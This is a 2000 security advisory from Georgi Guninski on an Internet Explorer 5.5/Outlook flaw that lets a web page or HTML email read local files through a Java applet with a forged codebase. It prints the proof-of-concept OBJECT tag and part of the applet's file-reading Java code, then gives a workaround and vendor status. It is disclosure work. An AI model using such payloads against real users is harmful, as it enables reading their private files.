IE 5.5/Outlook java security vulnerability - reading arbitrary local files and URLs

cyrillic logo
Home
Security
Internet Explorer
Windows 2000
AIX
Netscape
Other
Greets
About me
In the news
Contact
guninski@guninski.com
Georgi Guninski security advisory #24, 2000

IE 5.5/Outlook java security vulnerability - reading arbitrary local files and URLs

Systems affected:
IE 5.5/Outlook/Outlook Express - probably other versions, have not tested

Risk: High
Date: 18 October 2000

Legal Notice:
This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute it unmodified. You may not modify it and distribute it or distribute parts of it without the author's written permission.

Disclaimer:
The opinions expressed in this advisory and program are my own and not of any company.
The usual standard disclaimer applies, especially the fact that Georgi Guninski
is not liable for any damages caused by direct or  indirect use of the information or functionality provided by this advisory or program.
Georgi Guninski, bears no responsibility for content or misuse of this advisory or program or any derivatives thereof.

Description:

There is a security vulnerability in IE 5.5/Outlook/Outlook Express which allows
reading local files, arbitrary URLs and local directory structure after viewing a 
web page or reading HTML message.

Details:
The problem is the possibility for specifying arbitrary codebase for an applet
loaded from <OBJECT> tag and a jar file. Applets may read URLs from their codebase and communicate
with hosts from the codebase.
The following code:
<OBJECT CLASSID="JAVA:gjavacodebase.class" WIDTH=590>
<PARAM NAME="ARCHIVE" VALUE="http://www.guninski.com/gjavacodebase.jar">
<PARAM NAME="CODEBASE" VALUE="file:///c:/">
<PARAM NAME="URL" VALUE="file:///c:/test.txt">
</OBJECT>
sets the applet's codebase to file:///c:/
This is not Java language problem and I suppose not a problem in Microsoft's VM
but a problem in the way codebase is set by IE.
If someone knows if this vulnerability allows writing to files or executing programs
please let me know.
 

The code is:
---------javacodebase1.html------------------------------------------
<OBJECT CLASSID="JAVA:gjavacodebase.class" WIDTH=590>
<PARAM NAME="ARCHIVE" VALUE="http://www.guninski.com/gjavacodebase.jar">
<PARAM NAME="CODEBASE" VALUE="file:///c:/">
<PARAM NAME="URL" VALUE="file:///c:/test.txt">
</OBJECT>
---------------------------------------------------------------------
--------gjavacodebase.java-------------------------------------------
......
  try 
   {
      u = new URL(getParameter("URL"));
      InputStream is=u.openStream();
      byte ba[]=new byte[1000];
      int l=is.read(ba);
      InputStream os=u.openConnection().getInputStream();
      String s1=new String(ba,0,l);

      print(u.toString());
      print(s1);
   }
.......
---------------------------------------------------------------------


 
 

Workaround:
Disable Java 

Demonstration is available at: 
http://www.guninski.com/javacodebase1.html
Java source

Vendor status:
Microsoft was contacted on morning of 14 October and is working on a fix for this vulnerability,
I don't know when a patch shall be released.


 
 

| Home | Internet Explorer | Windows 2000 | AIX | Netscape | Greets | More... |